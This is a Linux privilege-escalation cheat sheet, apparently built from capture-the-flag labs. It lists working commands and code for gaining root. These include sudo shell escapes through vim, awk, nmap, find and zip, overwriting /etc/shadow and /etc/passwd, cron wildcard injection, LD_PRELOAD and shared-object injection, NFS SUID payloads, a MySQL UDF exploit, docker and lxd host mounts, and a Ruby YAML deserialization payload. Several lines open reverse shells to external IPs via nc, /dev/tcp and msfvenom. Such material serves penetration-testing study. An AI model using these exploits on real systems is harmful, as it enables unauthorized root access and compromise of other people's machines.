Linux Privilege Escalation

Basic Manual Enumeration

alt text
whoami
pwd
id

  • See what is listening internally

ss -tulpn | grep LISTEN
netstat -antp | grep LISTEN

  • OS, Kernel & Hostname

cat /etc/issue 
cat /proc/version 
hostname 
uname -a
searchsploit linux kernel 3.9

  • To remove DoS exploits by adding -exclude=”/dos/”

Binaries Owned by the root user

  • Always run with -p so it preserves permissions for the root user!!!!

./suid_bash -p

  • Something Weird

  • Check to see if youre in a docker container with

ps aux

  • No hashes in /etc/shadow is another pretty good indicator

Database files

  • Make sure to look for any passwords for the root user in .php files in web root!

Quick SUID

  • The following command can be used to find all SUID programs on a given system:

find /* -user root -perm -4000 -print 2>/dev/null

  • Find files that the users group can edit

find / -group users -type f 2>/dev/null

  • In the above example users is the name of the group he is in.

Sudo -l

  • If you have the password, on of the first checks should be

sudo -l

  • If there is an entry like:

Matching Defaults entries for www-data on THM-Chal:                                                            
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

  • Means you can sudo /usr/bin/perl /home/itguy/backup.pl with no password

  • However you cannot sudo perl /home/itguy/backup.pl with no password

  • Need to use the absolute paths if they are specified that way!!!

Taking advantage of SUID files

  • Some administrators will set the SUID bit manually to allow certain programs to be run as them.

  • Lets say you're a system administrator and a non-privileged user wants to program that requires it to be run with higher privileges.

  • They can set the SUID bit, then the non-privileged user can execute the program without having any extra account permissions set.

  • See who a command is running as:

$ id
uid=1000(ice-wzl) gid=1000(ice-wzl) groups=1000(ice-wzl) <--cmd output
touch foo
find foo -exec whoami \;
igor <--command output (now get shell as igor)
find foo -exec /bin/bash -p \;
$ id
uid=1000(ice-wzl) gid=1000(ice-wzl) euid=1001(igor)

Custom Binarys

  • Cross reference a list of standard binaries on a linux system with the ones you see, admins will add their own sometimes

strings system-control

File Systems

  • Use the following command to check for unmounted file systems

cat /etc/fstab

World Writeable

  • Files on the system with permissions that can be modifiled by any user on the system

find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root

  • World writable directories for root

find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root

  • World writable files

find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null

Weak File Permissions

Readable shadow

ls -l /etc/shadow
cat /etc/shadow

  • A users password hash (if they have one) can be found between the first and second (:) of each line.

  • Save the root user's hash to a file called hash.txt on your kali machine and use john to crack it.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

  • Switch to the root user

su root

Unshadow method

cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt

  • Transfer both back to attack box

unshadow passwd.txt shadow.txt > unshadowed.txt

Writeable shadow

ls -l /etc/shadow

  • Generate a new password hash

mkpasswd -m sha-512 jackiscool

  • Edit /etc/shadow and replace origional root user's password hash with the one that you just created

  • Switch to the root user

su root

Writable passwd

  • The /etc/passwd file contained user password hashes, and some versions of Linux still allow password hashes to be stored there

  • The /etc/passwd file contains information about user accounts. It is world-readable, but usually only writable by the root user.

ls -l /etc/passwd

  • Generate a new password hash with a password of your choice:

openssl passwd newpasswordhere

  • Edit the /etc/passwd file and place the generated password hash between the first and second colon (:) of the root user's row (replacing the "x").

  • Switch to the root user, using the new password:

su root

  • Alternatively, copy the root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").

  • Now switch to the newroot user, using the new password:

su newroot

Passwords and Keys

History Files

  • If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.

  • View the contents of all the hidden history files in the user's home directory:

cat ~/.*history | less

  • Note that the user has tried to connect to a MySQL server at some point, using the "root" username and a password submitted via the command line.

  • Note that there is no space between the -p option and the password!

Config Files

  • Config files often contain passwords in plaintext or other reversible formats.

  • List the contents of the user's home directory:

ls /home/user

  • Note the presence of a myvpn.ovpn config file. View the contents of the file:

cat /home/user/myvpn.ovpn

  • The file should contain a reference to another location where the root user's credentials can be found. Switch to the root user, using the credentials:

su root

SSH Keys

  • Sometimes users make backups of important files but fail to secure them with the correct permissions.

  • Look for hidden files & directories in the system root:

ls -la /
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null

Old sudo version

  • CVE-2019-14287

sudo --version
Sudoers I/O plugin version 1.8.21p2 #output
sudo -l
(ALL, !root) NOPASSWD: /bin/bash #output

  • Looking for the (ALL, !root) NOPASSWD:, and Sudo (versions < 1.8.28). Easy priv esc.

sudo -V
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27

sudo -u#-1 /bin/bash
root@NIX04:/home/ben#

Sudo-Shell escape Sequences

  • List the programs which sudo allows your user to run:

sudo -l

Visit GTFOBins (https://gtfobins.github.io) and search for some of the program names. If the program is listed with "sudo" as a function, you can use it to elevate privileges, usually via an escape sequence.

Zip

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip
touch hello.txt
sudo /usr/bin/zip 1.zip hello.txt -T --unzip-command="sh -c /bin/bash"
id
uid=0(root) gid=0(root) groups=0(root)
Sudo -l

npm

  • alt text

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journalctl

sudo journalctl
!/bin/sh

iftop

sudo /usr/bin/iftop
!/bin/bash #hit enter

find

sudo /usr/bin/find . -exec /bin/bash \; -quit
sudo /find /bin -name nano -exec /bin/sh \;

nano

sudo /usr/bin/nano
Press ctrl+r then ctrl +x 
Reset; bash 1>&0 2>&0

vim

sudo vim -c ':!/bin/bash'

  • Method 2

sudo vim -c '!sh'

  • Method 3

:set shell=/bin/sh
:shell

vi

:set shell=/bin/sh
:shell

man

sudo /usr/bin/man man
!/bin/sh

awk

sudo awk 'BEGIN {system("/bin/bash")}'
sudo awk 'BEGIN {system("/bin/sh")}'

less

sudo /usr/bin/less /etc/profile
!/bin/sh

FTP

sudo /usr/bin/ftp
!/bin/bash

nmap

  • Method 1

TF=$(mktemp)
echo 'os.execute("/bin/bash")' > $TF
sudo nmap --script=$TF

  • Method 2

sudo nmap --interactive
!bash

  • Method 3

echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse

more

TERM= sudo -E more /etc/profile
!/bin/bash

Apache2

sudo -l 
(root) NOPASSWD: /usr/sbin/apache2
sudo apache2 -f /etc/shadow

  • Copy hash to attacker box and crack with john

Sudo -l LD_PRELOAD

  • Sudo can be configured to inherit certain environment variables from the user's environment.

  • Check which environment variables are inherited (look for the env_keep+=LD_PRELOAD options):

  • Output you're looking for

user@debian:~/tools/sudo$ sudo -l
Matching Default entries for user on this host:
  env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

  • LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment.

  • LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

  • Create a shared object using the code located at /home/user/tools/sudo/preload.c:

  • preload.c code in another file in this repo:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

  • Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object:

sudo LD_PRELOAD=/tmp/preload.so program-name-here

  • A root shell should spawn.

  • Run ldd against the apache2 program file to see which shared libraries are used by the program:

ldd /usr/sbin/apache2

  • Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

  • Run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):

sudo LD_LIBRARY_PATH=/tmp apache2

  • A root shell should spawn.

  • Errors: Try renaming /tmp/libcrypt.so.1 to the name of another library used by apache2 and re-run apache2 using sudo again.

  • Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.

Sudo -l LD_PRELOAD Method 2

  1. In command prompt type: sudo -l

  2. From the output, notice that the LD_PRELOAD environment variable is intact.

  • Exploitation

    1. Open a text editor and type:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

    1. Save the file as x.c

    1. In command prompt type:

gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles

    1. In command prompt type:

sudo LD_PRELOAD=/tmp/x.so apache2

    1. In command prompt type: id

Sudo -l Service Takeover

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  • We have write access to vulnnet-auto.timer and vulnnet.job.service which are custom services on the host

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  • First we modify the OnCalandar=*:0/30 line to OnCalandar=*0/1 to make it run every minute versus every 30 minutes

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  • Can see that the system executes the /bin/df command

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  • We can modify this to spawn a reverse shell via our script

  • Can also call a reverse shell on the box

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.13.22.22 1111 >/tmp/f
bash -i >& /dev/tcp/10.13.22.22/1111 0>&1

  • We then use our sudo -l privlages to restart the service

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SUID SYMLINKS CVE-2016-1247

  • Detection

dpkg -l | grep nginx

  • Looking for installed nginx version is below 1.6.2-5+deb8u3

  • Required you to be the www-data user!

  • Run:

/tmp/nginxed-root.sh /var/log/nginx/error.log

  • System will wait for logrotate to execute, become root user

Cron Jobs File permissions

  • Cron jobs are programs or scripts which users can schedule to run at specific times or intervals.

  • Cron table files (crontabs) store the configuration for cron jobs. The system-wide crontab is located at /etc/crontab.

  • View the contents of the system-wide crontab:

cat /etc/crontab

  • There should be two cron jobs scheduled to run every minute. One runs overwrite.sh, the other runs /usr/local/bin/compress.sh.

  • Locate the full path of the overwrite.sh file:

locate overwrite.sh

  • Note that the file is world-writable:

ls -l /usr/local/bin/overwrite.sh

  • Replace the contents of the overwrite.sh file with the following after changing the IP address to that of your Kali box.

#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

  • Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run. A root shell should connect back to your netcat listener.

nc -nvlp 4444

Cron Jobs File permissions Method 2

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh

  • Wait the defined period of time

/tmp/bash -p
id

Cron Jobs Path Environment Variable

  • View the contents of the system-wide crontab:

cat /etc/crontab

  • Note that the PATH variable starts with /home/user which is our user's home directory.

  • Create a file called overwrite.sh in your home directory with the following contents:

#!/bin/bash
 
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

  • Make sure that the file is executable:

chmod +x /home/user/overwrite.sh

  • Wait for the cron job to run. Run the /tmp/rootbash command with -p to gain a shell running with root privileges:

/tmp/rootbash -p

CronJobs - Wildcards

  • View the contents of the other cron job script:

cat /usr/local/bin/compress.sh

  • Note that the tar command is being run with a wildcard (*) in your home directory.

  • Take a look at the GTFOBins page for tar. Note that tar has command line options that let you run other commands as part of a checkpoint feature.

  • Use msfvenom on your Kali box to generate a reverse shell ELF binary. Update the LHOST IP address accordingly:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf

  • Transfer the shell.elf file to /home/user/ on the Debian VM.

chmod +x /home/user/shell.elf

  • Create these two files in /home/user:

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

  • When the tar command in the cron job runs, the wildcard (*) will expand to include these files.

  • Since their filenames are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames.

  • Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run. A root shell should connect back to your netcat listener.

nc -nvlp 4444

CronJobs - Wildcards No msfvenom

echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > /home/user/runme.sh
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh

  • Wait the 1 minute or time defined by cron settings

  • Once the cronjob hits run:

/tmp/bash -p
id

SUID and SGID Executables --GTFO Bins

  • Find all the SUID/SGID executables on the Debian VM:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

  • Note that /usr/sbin/exim-4.84-3 appears in the results. Exploit is in this repo.

  • Exploit-DB, Google, and GitHub are good places to search!

  • Check GTFO Bins and Google for SUID/SGID!!!

SUID-Shared Object Injection

  • Detection

find / -type f -perm -04000 -ls 2>/dev/null

  • Make note of all the SUID binaries

  • The /usr/local/bin/suid-so SUID executable is vulnerable to shared object injection.

  • First, execute the file and note that currently it displays a progress bar before exiting:

  • Run strace on the file and search the output for open/access calls and for "no such file" errors:

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

  • Output Looking for

open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

  • Note that the executable tries to load the /home/user/.config/libcalc.so shared object within our home directory, but it cannot be found.

  • Create the .config directory for the libcalc.so file:

mkdir /home/user/.config

  • Example shared object code can be found at /home/user/tools/suid/libcalc.c. It simply spawns a Bash shell. Compile the code into a shared object at the location the suid-so executable was looking for it:

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
IF ERRORS TRY:
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

  • Execute the suid-so executable again, and note that this time, instead of a progress bar, we get a root shell.

/usr/local/bin/suid-so

  • It will be an euid=0 not a uid=0!!!

SUID and SGID Environment Variables

  • Detection

find / -type f -perm -04000 -ls 2>/dev/null

  • The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.

  • First, execute the file and note that it seems to be trying to start the apache2 webserver:

/usr/local/bin/suid-env

  • Run strings on the file to look for strings of printable characters:

strings /usr/local/bin/suid-env

  • One line service apache2 start suggests that the service executable is being called to start the webserver, however the full path of the executable /usr/sbin/service is not being used.

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c

  • Compile the code service.c into an executable called service. This code simply spawns a Bash shell:

gcc /tmp/service.c -o /tmp/service

  • Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell:

export PATH=/tmp:$PATH

  • Rin the executable with an absolute path

/usr/local/bin/suid-env
id

SUID and SGID Executables-Abusing Shell Features 1

  • Detection

 find / -type f -perm -04000 -ls 2>/dev/null

  • Make note of all the SUID binaries

  • The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable /usr/sbin/service to start the apache2 webserver. Verify this with strings:

strings /usr/local/bin/suid-env2

  • In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

  • Verify the version of Bash installed on the Debian VM is less than 4.2-048:

/bin/bash --version

Create a Bash function with the name /usr/sbin/service that executes a new Bash shell (using -p so permissions are preserved) and export the function:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

  • Run the suid-env2 executable to gain a root shell:

/usr/local/bin/suid-env2

SUID and SGID Executables-Abusing Shell Features 2

  • Note: This will not work on Bash versions 4.4 and above.

  • When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

  • Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

/tmp/rootbash -p

  • OR One liner

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

NFS

  • Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.

  • Check the NFS share configuration:

cat /etc/exports

  • Note that the /tmp share has root squashing disabled.

  • On your Kali box, switch to your root user if you are not already running as root:

sudo su

  • Using Kali's root user, create a mount point on your Kali box and mount the /tmp share (update the IP accordingly):

mkdir /tmp/nfs
mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs

  • Alternative command

mount -t nfs -v 10.10.185.59:/ /tmp/nfs

  • Still using Kali's root user, generate a payload using msfvenom and save it to the mounted share (this payload simply calls /bin/bash):

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

  • Still using Kali's root user, make the file executable and set the SUID permission:

chmod +xs /tmp/nfs/shell.elf

  • Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:

/tmp/shell.elf

NFS Method 2

cat /etc/exports
Attack Box:
showmount -e 10.10.10.10
mkdir /tmp/nfs
mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/nfs/x.c
gcc /tmp/nfs/x.c -o /tmp/nfs/x
chmod +s /tmp/nfs/x
Target Box:
/tmp/x
id

NFS Errors

  • When we try to mount with the alternative command above, we fail to get any response and connection times out.

  • To double check use the command:

show mount -e 10.10.185.59
clnt_create: RPC: Unable to recieve

  • Means there is a share on the host but only reachable on the remote machine locally.

  • Can forward the port on our machine to the target machine

  • Need to check the ports on the target with:

rpcinfo -p
100005    3   udp  20048  mountd
    100005    3   tcp  20048  mountd
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100227    3   tcp   2049  nfs_acl

  • Confirms nfs is running on 2049 the default port

  • Now port forward:

ssh [email protected] -i id_rsa -L 2049:localhost:2049
ssh [email protected] -i id_rsa -L 44561:localhost:44561

  • When a shell on the remote machine authenticates we are successful

  • Now create the mount with elevated permissions

sudo mkdir /tmp/nfs
sudo mount -v -t nfs localhost:/ /tmp/nfs

  • Now to get to root

  • On your attackbox run

cp /bin/bash /tmp/nfs
chmod +s bash

  • Now on the target box as your non elevated user

./bash -p
id
uid=1000(james) gid=1000(james) euid=0(root) egid=0(root)

Service Exploits

  • https://www.exploit-db.com/exploits/1518

  • The mysql service is running as root and the 'root' user for the service does not have a password assigned or the password is known.

  • This exploit takes advantage of the User Defined Functions (UFDs) to run system commands as root via the mysql service.

  • Change into the /home/user/tools/mysql-udf directory.

cd /home/user/tools/mysql-udf

  • Compile the raptor_udf2.c exploit code using the following

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

  • Connect to the mysql service as the root user with a blank or known password.

mysql -u root

  • Execute the following commands on the mysql shell to create a udf "do_system" using the compiled exploit

use mysql;
create table foo(line blob);
insert into foo values (load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';

  • Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

  • Exit out of the mysql shell

\q

  • Run /tmp/rootbash with -p to gain a root shell /tmp/rootbash -p

Docker Linux Local PE

id

  • Check to see if the user is in the docker group

docker run hello-world

  • Check to see if docker is installed and working correctly

docker run -v /root:/mnt alpine cat /mnt/key.txt

  • -v specifies a volume to mount, in this case the /root directory on the house was mounted to the /mnt directory on the container. Because docker has SUID we were able to mount a root owned directory in our container

docker run -it -v /:/mnt alpine chroot /mnt

  • Roots the host with docker because we used chroot on the /mnt directory. This allowed us to use the host operating system.

docker run -it ubuntu bash

  • Optional: Run an ubuntu container with docker

lxd Group Priv Esc

  • The best example of how to do this

https://0xdf.gitlab.io/2020/11/07/htb-tabby.html

  • Exploit without internet connection

  • Change to the root user on attack box

sudo su

  • Install Requirements on your attack box

sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

  • Clone the repo (attack box)

sudo go get -d -v github.com/lxc/distrobuilder

  • Make distrobuilder (attack box)

cd $HOME/go/src/github.com/lxc/distrobuilder
make

  • Prepare the creation of Alpine (attack box)

mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

  • Create the container (attack box)

sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml

-If that fails, run it adding -o image.release=3.8 at the end

  • Upload lxd.tar.xz and rootfs.squashfs to the vulnerable server

  • Add the image on the vulnerable server

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list

  • Second command is only if you want to confim the imported image is present

  • Create a container and add the root path

lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

  • Execute the container

lxc start privesc
lxc exec privesc /bin/sh
cd /mnt/root

  • /mnt/root is where the file system is mounted.

Errors-on the vulnerable server

  • If you recieve an Failed container creation: No storage pool found. Please create a new storage pool.

  • You need to initialize lxd before using it

lxd init

  • Read the options and use the defaults

Capabilities

  • Search your whole file-system recursively with the following command:

getcap -r / 2>/dev/null

Python

  • Looking for:

/home/demo/python3 = cap_setuid+ep

  • Escalate Privlages

./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Perl

  • Check for Perl:

which perl

  • Looking for:

/home/demo/python3 = cap_setuid+ep

  • Escalate

./perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

Tar

  • Check for tar:

which tar

  • Looking For:

/home/demo/tar = cap dac read search+ep

  • Tar the shadow:

./tar cvf shadow.tar /etc/shadow

  • Untar to review:

./tar -xvf shadow.tar

Python Library Hijacking

  • setenv

  • From sudo -l output we see SETENV (means we can set the env variables when it is run as root) in addition to the python script that can be run as root

  • hashlib

  • We see the import hashlib statement at the top, can hijack the library

  • Python will look in the current directory or a specified path that we list due to the SETENV permission.

  • The paths that come configured out of the box on Ubuntu 16.04, in order of priority, are:

  • Directory of the script being executed

/usr/lib/python2.7
/usr/lib/python2.7/plat-x86_64-linux-gnu
/usr/lib/python2.7/lib-tk
/usr/lib/python2.7/lib-old
/usr/lib/python2.7/lib-dynload
/usr/local/lib/python2.7/dist-packages
/usr/lib/python2.7/dist-packages

  • For other distributions, run the command below to get an ordered list of directories:

python -c 'import sys; print "\n".join(sys.path)'

  • Can also use locate hashlib.py to figure out where the library is being executed from

  • Once the libary is located

  • Copy the hashlib.py file to /tmp or /dev/shm

  • Can either try adding a python reverse shell to the file or:

python -c 'import os; os.system("/bin/sh")'
python3 -c 'import os; os.system("/bin/sh")'

  • To conduct the priv esc now run:

sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/hazel/hasher.py

Manual Polkit Priv Esc Checks

#centos/fed/rhel
rpm -qa accountservice
rpm -qa gnome-control-center
#deb/ubu
dpkg -l | grep accountservice
dpkg -l | grep gnome-control-center

  • Must have polkit version 0.113 or later OR 0-105-26 (Debian fork of polkit

  • Works with Ubuntu 20.04 and Centos 8, RHEL 8, Fedora 21, Debian Bullseye

cat /etc/os-release

  • Usually need to run the POC multiple times

  • For exploitation dispite checks saying not vulnerable: ./polkit.sh -f=y

  • If run with no options, user secnigma will be added to /etc/passwd and the password for that user is secnigmaftw

  • To get your root shell su - secnigma

  • Enter password

  • sudo bash

  • Profit

Universal RCE deserialization gadget chain for Ruby 2.x.

  • This works for both YAML.load and Marshal.load

  • https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/

  • See Ruby script using this syntax on a seperate local file that you cannot write to however if the first script is executing through cron or sudo -l permissions you can create another file with the same name that the origional is calling i.e. dependencies.yml

  • Payload:

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
  - !ruby/object:Gem::Source::SpecificFile
    spec: &1 !ruby/object:Gem::StubSpecification
      loaded_from: "|id 1>&2"
  - !ruby/object:Gem::Source::SpecificFile
      spec:

MOTD Hijacking

  • Detection:

  • Can see root processes like cron jobs without root permissions with pspy 

2023/04/06 18:00:01 CMD: UID=0     PID=1087   | /bin/cp /var/backups/.update-motd.d/00-header 
2023/04/06 18:00:01 CMD: UID=0     PID=1083   | /usr/sbin/CRON -f

  • look for the motd to be owned by root but set to a group that we are in, can echo:

echo "cp /bin/bash /home/sysadmin/bash && chmod u+s /home/sysadmin/bash" >> 00-header

  • now log out and re-ssh in to kick it off and then execute bash with bash -p

Pkexec as SUID

-rwsr-xr-x 1 root root 22K Mar 27  2019 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
# link
https://github.com/Almorabea/pkexec-exploit/blob/main/CVE-2021-4034.py

python3 pwn.py 
Do you want to choose a custom payload? y/n (n use default payload)  n
[+] Cleaning pervious exploiting attempt (if exist)
[+] Creating shared library for exploit code.
[+] Finding a libc library to call execve
[+] Found a library at <CDLL 'libc.so.6', handle 7f83d3d88000 at 0x7f83d3c166a0>
[+] Call execve() with chosen payload
[+] Enjoy your root shell
# id
uid=0(root) gid=1001(julian) groups=1001(julian)
#
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